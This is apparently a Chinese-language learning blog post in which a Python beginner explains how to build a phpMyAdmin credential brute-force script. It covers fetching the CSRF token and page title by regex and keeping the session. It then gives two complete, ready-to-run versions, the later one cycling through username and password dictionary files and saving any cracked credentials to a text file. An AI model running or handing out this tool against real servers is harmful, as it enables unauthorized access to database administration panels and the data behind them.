初学python不久 记录一下写脚本的过程
首先 是要对于phpadmin的账号密码进行爆破
先找个环境抓个包看看
了解到需要脚本中 准备 请求头 还需要获取到token 最好还能获取到标题 以作验证
提交的数据中 需要pma_username
pma_password
server=1
target=index.php
token
等数据
还要进行会话保持
http协议本身是无状态的,为了让请求之间保持状态,有了session和cookie机制。requests也提供了相应的方法去操纵它们。
requests中的
session
对象能够让我们跨http请求保持某些参数,就是比如使用session成功的登录了某个网站,则在再次使用该session对象求求该网站的其他网页都会默认使用该session之前使用的cookie等参数,尤其是在保持登陆状态时运用的最多,在某些网站抓取,或者app抓取时,有的是强制登陆,有的是不登陆返回的数据就是假的或者说是不完整的数据,那我们不可能去做到每一次请求都要去登陆一下怎么办,就需要用到保持会话的功能了,我们可以只登陆一次,然后保持这种状态去做其他的或者更多的请求。
同时 由于 phpmyadmin中存在token
还需要获取token
还需要获取标题
在获取过程中 需要使用到 re.findall
函数来对需要的数据进行正则匹配
. # 点可代表一切字符 \ # 起转义作用 [...] # 指代方括号中的任意字符 \d # 指代数字0-9 \D # 指代非数字 \s # 指代一切空格,包括tab制表符、空格、换行等 \S # 指代非空格 \w # 指代大小写字母、数字和下划线 \W # 指代非大小写字母、数字和下划线 * # 匹配前面字符 >=0 次 + # 匹配前面字符1次及以上 ? # 匹配前面字符0次或1次 {m} # 匹配m次 {m,n} # 匹配m到n次 {m,} # 至少匹配m次
经过调试和验证 得到获取token的语句
name=\"token\" value=\"(.*?)\" />
获取标题的语句
登录前
登录后
可以通过这个来判断是否登陆成功
了
通过前后获取到的标题长度不同 或者相同 应该可以判断 是能登陆还是不能
<title>(.*)</title>
获取了标题和token 然后再爆破
同时 在获取token时还遇到了编码解码问题 一些字符会被转义 百度以后查找类似问题后 发现引入unescape
函数可以解决问题
return unescape(token[0]) if token else None
爆破成功还可以输出爆破成功的密码账号到txt中
print字符串前面加f表示格式化字符串,加f
后可以在字符串里面使用用花括号括起来的变量和表达式,如果字符串里面没有表达式,那么前面加不加f输出应该都一样.
最后得到的脚本如下
from requests import session from re import findall from html import unescape # phpmyadmin地址,例如 http://localhost/index.php target = 'http://localhost/index.php' # 要爆破的用户名 user = 'root' # 密码字典文件路径 passdic = 'password.txt' # ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/87.0.4280.88 Safari/537.36'} def get_token(text) -> str: # 获取token token = findall("name=\"token\" value=\"(.*?)\" />", text) return unescape(token[0]) if token else None def get_title(text) -> str: # 获取标题 title = findall('<title>(.*)</title>', text) return title[0] if title else None def try_login(user, pwd, token): # 尝试登陆 data = {'pma_username': user, 'pma_password': pwd, 'server': 1, 'target': 'index.php', 'token': token} r = ss.post(url=target, data=data) return r.text def burst_pma(): # 爆破 with open(passdic, 'r', encoding='utf-8') as f: html = try_login('', '', '') title_fail = get_title(html) token = get_token(html) for line in f: pwd = line.strip() print(f'[?] loading... {user} {pwd} ') html = try_login(user, pwd, token) title = get_title(html) token = get_token(html) if title != title_fail: print(f'[√] success {title}') with open('success.txt', 'a', encoding='utf-8') as f: f.write(f'{target} | {user} | {pwd}\n') break else: print(f'[×] failed {title}') try: if __name__ == "__main__": burst_pma() except Exception as e: print(e)
同时生成的密码文件
2021-8-5 增加了爆破的灵活性 增加了用户名文件
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- #使用时需要修改 target中的url 脚本同目录下的字典文件 namedic.txt passdic.txt from requests import session from re import findall from html import unescape # phpmyadmin地址,例如 http://localhost/index.php target = 'http://1.1.1.1:1/index.php' # 用户名字典文件 #user = 'root' namedic = 'namedic.txt' # 字典文件路径 passdic = 'password.txt' ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/87.0.4280.88 Safari/537.36'} # 获取token函数 def get_token(text) -> str: token = findall("name=\"token\" value=\"(.*?)\" />", text) return unescape(token[0]) if token else None # 获取网站标题函数 def get_title(text) -> str: title = findall('<title>(.*)</title>', text) return title[0] if title else None #尝试登录函数 def try_login(user, pwd, token): data = {'pma_username': user, 'pma_password': pwd, 'server': 1, 'target': 'index.php', 'token': token} r = ss.post(url=target, data=data) return r.text #爆破函数 def burst_pma(): html = try_login('', '', '') title_fail = get_title(html) token = get_token(html) with open(passdic, 'r', encoding='utf-8') as f: for line in f: with open(namedic, 'r', encoding='utf-8') as h: for li in h: user = li.strip() pwd = line.strip() print(f'[?] loading {user} {pwd} ') html = try_login(user, pwd, token) title = get_title(html) token = get_token(html) if title != title_fail: print(f'[+] success {title}') with open('success.txt', 'a', encoding='utf-8') as g: g.write(f'{target} | {user} | {pwd}\n') break else: print(f'[-] failed {title}') if __name__ == "__main__": try: burst_pma() except Exception as e: print(e)
1.由于对python
的内容了解不多 很多功能一开始并不知道怎么实现 ,百度才发现有现成的函数 和功能 对于登录成功的判断有点投机取巧 应该是有更加明确的方式进行判断的
2.对于脚本工具的使用更加了解,增加了对python的认知
3.写完考虑到可能不只是单一用户名 后续可以 加上对用户名的遍历打开俩文件遍历 还差点翻车 …
4.还是多练习 这次啥也不懂查了好多资料 看了好多类似的爆破 脚本 对于正则表达式用的不够熟练 提取数据试验了很多次 很多地方写的还很笨 以后学的多了慢慢修改,,,,
参考文章
https://www.sqlsec.com/2018/07/pyscript1.html
https://blog.csdn.net/wsnbbz/article/details/105531530
https://blog.csdn.net/blbq105/article/details/85274676
https://www.cnblogs.com/zhuosanxun/p/12679121.html
https://zhuanlan.zhihu.com/p/139596371
https://www.cnblogs.com/wangbinbin/p/7101099.html
https://www.cnblogs.com/dearddu/p/12464891.html